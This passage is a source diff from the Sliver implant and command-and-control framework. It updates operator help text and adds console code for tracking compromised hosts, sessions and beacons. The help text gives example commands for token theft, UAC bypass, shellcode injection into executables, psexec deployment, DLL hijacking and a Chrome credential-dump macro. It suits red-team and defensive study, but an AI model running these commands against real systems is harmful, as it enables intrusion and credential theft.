[[.Bold]]About:[[.Normal]] Generate an implant from a saved profile (see 'profiles new --help').`
|
||||
|
||||
msfHelp = `[[.Bold]]Command:[[.Normal]] msf [--lhost] <options>
|
||||
[[.Bold]]About:[[.Normal]] Execute a metasploit payload in the current process.`
|
||||
@@ -226,21 +229,45 @@ settings, but will still have per-binary certificates/obfuscation/etc. This comm
|
||||
psHelp = `[[.Bold]]Command:[[.Normal]] ps <options>
|
||||
[[.Bold]]About:[[.Normal]] List processes on remote system.`
|
||||
|
||||
pingHelp = `[[.Bold]]Command:[[.Normal]] ping <sliver name/session>
|
||||
[[.Bold]]About:[[.Normal]] Ping Sliver by name or the active sliver. This does NOT send an ICMP packet, it just sends an empty
|
||||
c2 message round trip to ensure the remote Sliver is still responding to commands.`
|
||||
pingHelp = `[[.Bold]]Command:[[.Normal]] ping <implant name/session>
|
||||
[[.Bold]]About:[[.Normal]] Ping session by name or the active session. This does NOT send an ICMP packet, it just sends a small
|
||||
C2 message round trip to ensure the remote implant is still responding to commands.`
|
||||
|
||||
killHelp = `[[.Bold]]Command:[[.Normal]] kill <sliver name/session>
|
||||
[[.Bold]]About:[[.Normal]] Kill a remote sliver process (does not delete file).`
|
||||
killHelp = `[[.Bold]]Command:[[.Normal]] kill <implant name/session>
|
||||
[[.Bold]]About:[[.Normal]] Kill a remote implant process (does not delete file).`
|
||||
|
||||
lsHelp = `[[.Bold]]Command:[[.Normal]] ls <remote path>
|
||||
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.`
|
||||
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.
|
||||
|
||||
[[.Bold]][[.Underline]]Sorting[[.Normal]]
|
||||
Directory and file listings are sorted by name in ascending order by default. Listings can also be sorted by size (-s) and modified time (-m). All sorts can be reversed with -r.
|
||||
|
||||
[[.Bold]][[.Underline]]Filters[[.Normal]]
|
||||
Filters are a way to limit search results to directory and file names matching given criteria.
|
||||
|
||||
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
|
||||
/etc/passwd will display the listing for /etc/passwd. "/etc/" is the path, and "passwd" is the filter.
|
||||
|
||||
Directory and file listings can be filtered using the following patterns:
|
||||
'*': Wildcard, matches any sequence of non-path separators (slashes)
|
||||
Example: n*.txt will match all file and directory names starting with n and ending with .txt
|
||||
|
||||
'?': Single character wildcard, matches a single non-path separator (slashes)
|
||||
Example: s?iver will match all file and directory names starting with s followed by any non-separator character and ending with iver.
|
||||
|
||||
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
|
||||
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all directory and file names that start with a, b, or c.
|
||||
^[r-u] will match all characters except r, s, t, and u.
|
||||
|
||||
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
|
||||
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
|
||||
`
|
||||
|
||||
cdHelp = `[[.Bold]]Command:[[.Normal]] cd [remote path]
|
||||
[[.Bold]]About:[[.Normal]] Change working directory of the active Sliver.`
|
||||
[[.Bold]]About:[[.Normal]] Change working directory of the active session.`
|
||||
|
||||
pwdHelp = `[[.Bold]]Command:[[.Normal]] pwd
|
||||
[[.Bold]]About:[[.Normal]] Print working directory of the active Sliver.`
|
||||
[[.Bold]]About:[[.Normal]] Print working directory of the active session.`
|
||||
|
||||
mkdirHelp = `[[.Bold]]Command:[[.Normal]] mkdir [remote path]
|
||||
[[.Bold]]About:[[.Normal]] Create a remote directory.`
|
||||
@@ -264,20 +291,20 @@ c2 message round trip to ensure the remote Sliver is still responding to command
|
||||
[[.Bold]]About:[[.Normal]] (Windows Only) Run a new process in the context of the designated user`
|
||||
|
||||
impersonateHelp = `[[.Bold]]Command:[[.Normal]] impersonate USERNAME
|
||||
[[.Bold]]About:[[.Normal]] (Windows Only) Steal the token of a logged in user. Sliver commands that runs new processes (like [[.Bold]]shell[[.Normal]] or [[.Bold]]execute-command[[.Normal]]) will impersonate this user.`
|
||||
[[.Bold]]About:[[.Normal]] (Windows Only) Steal the token of a logged in user. Sliver commands that run new processes (like [[.Bold]]shell[[.Normal]] or [[.Bold]]execute-command[[.Normal]]) will impersonate this user.`
|
||||
|
||||
revToSelfHelp = `[[.Bold]]Command:[[.Normal]] rev2self
|
||||
[[.Bold]]About:[[.Normal]] (Windows Only) Call RevertToSelf, lose the stolen token.`
|
||||
|
||||
elevateHelp = `[[.Bold]]Command:[[.Normal]] elevate
|
||||
[[.Bold]]About:[[.Normal]] (Windows Only) Spawn a new sliver session as an elevated process (UAC bypass)`
|
||||
[[.Bold]]About:[[.Normal]] (Windows Only) Spawn a new Sliver session as an elevated process (UAC bypass)`
|
||||
|
||||
executeAssemblyHelp = `[[.Bold]]Command:[[.Normal]] execute-assembly [local path to assembly] [arguments]
|
||||
[[.Bold]]About:[[.Normal]] (Windows Only) Executes the .NET assembly in a child process.
|
||||
`
|
||||
|
||||
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
|
||||
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the Sliver process.
|
||||
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
|
||||
|
||||
[[.Bold]][[.Underline]]++ Shellcode ++[[.Normal]]
|
||||
Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
|
||||
@@ -344,21 +371,21 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
|
||||
screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
|
||||
[[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
|
||||
`
|
||||
loadExtensionHelp = `[[.Bold]]Command:[[.Normal]] load-extension <directory path>
|
||||
[[.Bold]]About:[[.Normal]] Load a Sliver extension to add new commands.
|
||||
Extensions are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
|
||||
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the extension file is a reflective DLL or not.
|
||||
Load an extension:
|
||||
loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
|
||||
[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
|
||||
Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
|
||||
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
|
||||
Load an macro:
|
||||
load /tmp/chrome-dump
|
||||
Sliver extensions have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] extension):
|
||||
Sliver macros have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] macro):
|
||||
chrome-dump
|
||||
├── chrome-dump.dll
|
||||
├── chrome-dump.so
|
||||
└── manifest.json
|
||||
It is a directory containing any number of files, with a mandatory [[.Bold]]manifest.json[[.Normal]], that has the following structure:
|
||||
{
|
||||
"extensionName":"chrome-dump", // name of the extension, can be anything
|
||||
"extensionCommands":[
|
||||
"macroName":"chrome-dump", // name of the macro, can be anything
|
||||
"macroCommands":[
|
||||
{
|
||||
"name":"chrome-dump", // name of the command available in the sliver client (no space)
|
||||
"entrypoint":"ChromeDump", // entrypoint of the shared library to execute
|
||||
@@ -370,7 +397,7 @@ It is a directory containing any number of files, with a mandatory [[.Bold]]mani
|
||||
"os":"windows", // Target OS for the following files. Values can be "windows", "linux" or "darwin"
|
||||
"files":{
|
||||
"x64":"chrome-dump.dll",
|
||||
"x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the extension directory
|
||||
"x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the macro directory
|
||||
}
|
||||
},
|
||||
{
|
||||
@@ -402,9 +429,9 @@ Each command will have the [[.Bold]]--process[[.Normal]] flag defined, which all
|
||||
This command uploads a Sliver binary generated on the fly from a profile.
|
||||
The profile must be created with the [[.Bold]]service[[.Normal]] format, so that the service manager can properly start and stop the binary.
|
||||
|
||||
To create such a profile, use the [[.Bold]]new-profile[[.Normal]] command:
|
||||
To create such a profile, use the [[.Bold]]profiles new[[.Normal]] command:
|
||||
|
||||
new-profile --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
|
||||
profiles new --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
|
||||
|
||||
Once the profile has been created, run the [[.Bold]]psexec[[.Normal]] command:
|
||||
|
||||
@@ -416,7 +443,7 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
|
||||
[[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
|
||||
[[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
|
||||
|
||||
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: new-profile --format shellcode --profile-name whatever --http ab.cd
|
||||
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
|
||||
`
|
||||
makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
|
||||
[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
|
||||
@@ -456,21 +483,24 @@ When using the binary type, you must either:
|
||||
[[.Bold]]Example:[[.Normal]] registry create --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
|
||||
`
|
||||
|
||||
pivotListHelp = `[[.Bold]]Command:[[.Normal]] pivots-list [--id SESSIONID]
|
||||
[[.Bold]]About:[[.Normal]] List created pivots
|
||||
regDeleteKeyHelp = `[[.Bold]]Command:[[.Normal]] registry delete PATH [name]
|
||||
[[.Bold]]About:[[.Normal]] Remove a value from the windows registry
|
||||
[[.Bold]]Example:[[.Normal]] registry delete --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
|
||||
`
|
||||
|
||||
pivotsHelp = `[[.Bold]]Command:[[.Normal]] pivots
|
||||
[[.Bold]]About:[[.Normal]] List pivots for the current session. NOTE: pivots are only supported on sessions, not beacons.
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
List pivots for all sessions:
|
||||
|
||||
pivots-list
|
||||
|
||||
List pivots for a specific session:
|
||||
|
||||
pivots-list --id 1
|
||||
|
||||
List pivots for the current session:
|
||||
|
||||
pivots-list
|
||||
`
|
||||
pivots
|
||||
|
||||
Start a tcp pivot on the current session:
|
||||
|
||||
pivots tcp --bind 0.0.0.0
|
||||
|
||||
`
|
||||
wgSocksHelp = `[[.Bold]]Command:[[.Normal]] wg-socks
|
||||
[[.Bold]]About:[[.Normal]] Create a socks5 listener on the implant Wireguard tun interface
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
@@ -557,7 +587,10 @@ loot fetch
|
||||
`
|
||||
|
||||
reactionHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction
|
||||
[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s).
|
||||
[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s). The built-in
|
||||
reactions do not support variables or logic, they simply allow you to run verbatim
|
||||
commands when an event occurs. To implement complex event-based logic we recommend
|
||||
using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
|
||||
|
||||
[[.Bold]]Reactable Events:[[.Normal]]
|
||||
% 20s Triggered when a new session is opened to a target
|
||||
@@ -578,7 +611,11 @@ loot fetch
|
||||
)
|
||||
|
||||
reactionSetHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction set
|
||||
[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).
|
||||
[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).
|
||||
|
||||
The built-in reactions do not support variables or logic, they simply allow you to
|
||||
run verbatim commands when an event occurs. To implement complex event-based logic
|
||||
we recommend using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
|
||||
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
# The command uses interactive menus to build a reaction. Simply run:
|
||||
@@ -608,6 +645,28 @@ reaction set
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
# Remove a reaction
|
||||
reaction unset --id 1
|
||||
`
|
||||
dllHijackHelp = `[[.Bold]]Command:[[.Normal]] dllhijack
|
||||
[[.Bold]]About:[[.Normal]] Prepare and plant a DLL on the remote system for a hijack scenario.
|
||||
The planted DLL will have its export directory modified to forward the exports to a reference DLL
|
||||
on the remote system.
|
||||
The DLL used for the hijack can either be a file on the operator's system or built from a Sliver profile,
|
||||
supplied with the --profile flag.
|
||||
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
# Use a local DLL for a hijack
|
||||
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
|
||||
|
||||
# Use a Sliver generated DLL for the hijack
|
||||
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
|
||||
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
|
||||
|
||||
# Use a local DLL as the reference DLL
|
||||
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /tmp/msasn1.dll.orig --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
|
||||
`
|
||||
|
||||
getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
|
||||
[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
|
||||
`
|
||||
)
|
||||
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
Hosts
|
||||
======
|
||||
|
||||
Command to access and manage host information.
|
||||
@@ -0,0 +1,46 @@
|
||||
package hosts
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// HostsIOCRmCmd - Remove a host from the database
|
||||
func HostsIOCRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
host, err := SelectHost(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
ioc, err := SelectHostIOC(host, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
_, err = con.Rpc.HostIOCRm(context.Background(), ioc)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Removed host from database\n")
|
||||
}
|
||||
@@ -0,0 +1,107 @@
|
||||
package hosts
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// HostsIOCCmd - Remove a host from the database
|
||||
func HostsIOCCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
host, err := SelectHost(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if 0 < len(host.IOCs) {
|
||||
con.Printf("%s\n", hostIOCsTable(host, con))
|
||||
} else {
|
||||
con.Println()
|
||||
con.PrintInfof("No IOCs tracked on host\n")
|
||||
}
|
||||
}
|
||||
|
||||
func hostIOCsTable(host *clientpb.Host, con *console.SliverConsoleClient) string {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(table.StyleBold)
|
||||
tw.AppendHeader(table.Row{"File Path", "SHA-256"})
|
||||
for _, ioc := range host.IOCs {
|
||||
tw.AppendRow(table.Row{
|
||||
ioc.Path,
|
||||
ioc.FileHash,
|
||||
})
|
||||
}
|
||||
return tw.Render()
|
||||
}
|
||||
|
||||
func SelectHostIOC(host *clientpb.Host, con *console.SliverConsoleClient) (*clientpb.IOC, error) {
|
||||
|
||||
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
|
||||
// to work properly since we rely on the index of the user's selection to find the session in the map
|
||||
var keys []string
|
||||
var iocMap = make(map[string]*clientpb.IOC)
|
||||
for _, ioc := range host.IOCs {
|
||||
keys = append(keys, ioc.ID)
|
||||
iocMap[ioc.ID] = ioc
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Column Headers
|
||||
for _, key := range keys {
|
||||
ioc := iocMap[key]
|
||||
fmt.Fprintf(table, "%s\t%s\t\n",
|
||||
ioc.Path,
|
||||
ioc.FileHash,
|
||||
)
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select an IOC:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
survey.AskOne(prompt, &selected)
|
||||
if selected == "" {
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
|
||||
// Go from the selected option -> index -> host
|
||||
for index, option := range options {
|
||||
if option == selected {
|
||||
return iocMap[keys[index]], nil
|
||||
}
|
||||
}
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package hosts
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// HostsRmCmd - Remove a host from the database
|
||||
func HostsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
host, err := SelectHost(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
_, err = con.Rpc.HostRm(context.Background(), host)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Removed host from database\n")
|
||||
}
|
||||
@@ -0,0 +1,186 @@
|
||||
package hosts
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrNoHosts - No hosts in database
|
||||
ErrNoHosts = errors.New("no hosts")
|
||||
// ErrNoSelection - No selection made
|
||||
ErrNoSelection = errors.New("no selection")
|
||||
)
|
||||
|
||||
// HostsCmd - Main hosts command
|
||||
func HostsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
if 0 < len(allHosts.Hosts) {
|
||||
con.Printf("%s\n", hostsTable(allHosts.Hosts, con))
|
||||
} else {
|
||||
con.PrintInfof("No hosts\n")
|
||||
}
|
||||
}
|
||||
|
||||
func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Hostname",
|
||||
"Operating System",
|
||||
"Sessions",
|
||||
"Beacons",
|
||||
"IOCs",
|
||||
"Extensions",
|
||||
})
|
||||
for _, host := range hosts {
|
||||
var shortID string
|
||||
if len(host.HostUUID) < 8 {
|
||||
shortID = host.HostUUID[:len(host.HostUUID)]
|
||||
} else {
|
||||
shortID = host.HostUUID[:8]
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
shortID,
|
||||
host.Hostname,
|
||||
host.OSVersion,
|
||||
hostSessions(host.HostUUID, con),
|
||||
hostBeacons(host.HostUUID, con),
|
||||
len(host.IOCs),
|
||||
len(host.ExtensionData),
|
||||
})
|
||||
}
|
||||
return tw.Render()
|
||||
}
|
||||
|
||||
func hostSessions(hostUUID string, con *console.SliverConsoleClient) string {
|
||||
hostSessions := SessionsForHost(hostUUID, con)
|
||||
if len(hostSessions) == 0 {
|
||||
return "None"
|
||||
}
|
||||
sessionIDs := []string{}
|
||||
for _, hostSession := range hostSessions {
|
||||
sessionIDs = append(sessionIDs, strings.Split(hostSession.ID, "-")[0])
|
||||
}
|
||||
return fmt.Sprintf("%d", len(sessionIDs))
|
||||
}
|
||||
|
||||
func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string {
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return "Error"
|
||||
}
|
||||
count := 0
|
||||
for _, beacon := range beacons.Beacons {
|
||||
if beacon.UUID == hostUUID {
|
||||
count++
|
||||
}
|
||||
}
|
||||
if count == 0 {
|
||||
return "None"
|
||||
} else {
|
||||
return fmt.Sprintf("%d", count)
|
||||
}
|
||||
}
|
||||
|
||||
// SessionsForHost - Find session for a given host by id
|
||||
func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session {
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return []*clientpb.Session{}
|
||||
}
|
||||
hostSessions := []*clientpb.Session{}
|
||||
for _, session := range sessions.Sessions {
|
||||
if session.UUID == hostUUID {
|
||||
hostSessions = append(hostSessions, session)
|
||||
}
|
||||
}
|
||||
return hostSessions
|
||||
}
|
||||
|
||||
// SelectHost - Interactively select a host from the database
|
||||
func SelectHost(con *console.SliverConsoleClient) (*clientpb.Host, error) {
|
||||
allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
|
||||
// to work properly since we rely on the index of the user's selection to find the session in the map
|
||||
var keys []string
|
||||
var hostMap = make(map[string]*clientpb.Host)
|
||||
for _, host := range allHosts.Hosts {
|
||||
keys = append(keys, host.HostUUID)
|
||||
hostMap[host.HostUUID] = host
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Column Headers
|
||||
for _, key := range keys {
|
||||
host := hostMap[key]
|
||||
fmt.Fprintf(table, "%s\t%s\t\n",
|
||||
host.Hostname,
|
||||
host.OSVersion,
|
||||
)
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a host:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
survey.AskOne(prompt, &selected)
|
||||
if selected == "" {
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
|
||||
// Go from the selected option -> index -> host
|
||||
for index, option := range options {
|
||||
if option == selected {
|
||||
return hostMap[keys[index]], nil
|
||||
}
|
||||
}
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
+57
-24
@@ -19,26 +19,23 @@ package info
|
||||
*/
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// InfoCmd - Display information about the active session
|
||||
func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
var session *clientpb.Session
|
||||
sessionName := ctx.Args.String("session")
|
||||
if con.ActiveSession.GetInteractive() != nil {
|
||||
session = con.ActiveSession.GetInteractive()
|
||||
} else if sessionName != "" {
|
||||
session = con.GetSession(sessionName)
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if session != nil {
|
||||
con.Printf(console.Bold+" ID: %s%d\n", console.Normal, session.ID)
|
||||
|
||||
con.Printf(console.Bold+" Session ID: %s%s\n", console.Normal, session.ID)
|
||||
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
|
||||
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, session.Hostname)
|
||||
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, session.UUID)
|
||||
@@ -49,10 +46,30 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
|
||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
|
||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
|
||||
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, session.ActiveC2)
|
||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
|
||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
|
||||
con.Printf(console.Bold+" Poll Interval: %s%d\n", console.Normal, session.PollInterval)
|
||||
con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
|
||||
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
|
||||
|
||||
} else if beacon != nil {
|
||||
|
||||
con.Printf(console.Bold+" Beacon ID: %s%s\n", console.Normal, beacon.ID)
|
||||
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, beacon.Name)
|
||||
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, beacon.Hostname)
|
||||
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, beacon.UUID)
|
||||
con.Printf(console.Bold+" Username: %s%s\n", console.Normal, beacon.Username)
|
||||
con.Printf(console.Bold+" UID: %s%s\n", console.Normal, beacon.UID)
|
||||
con.Printf(console.Bold+" GID: %s%s\n", console.Normal, beacon.GID)
|
||||
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, beacon.PID)
|
||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
|
||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
|
||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
|
||||
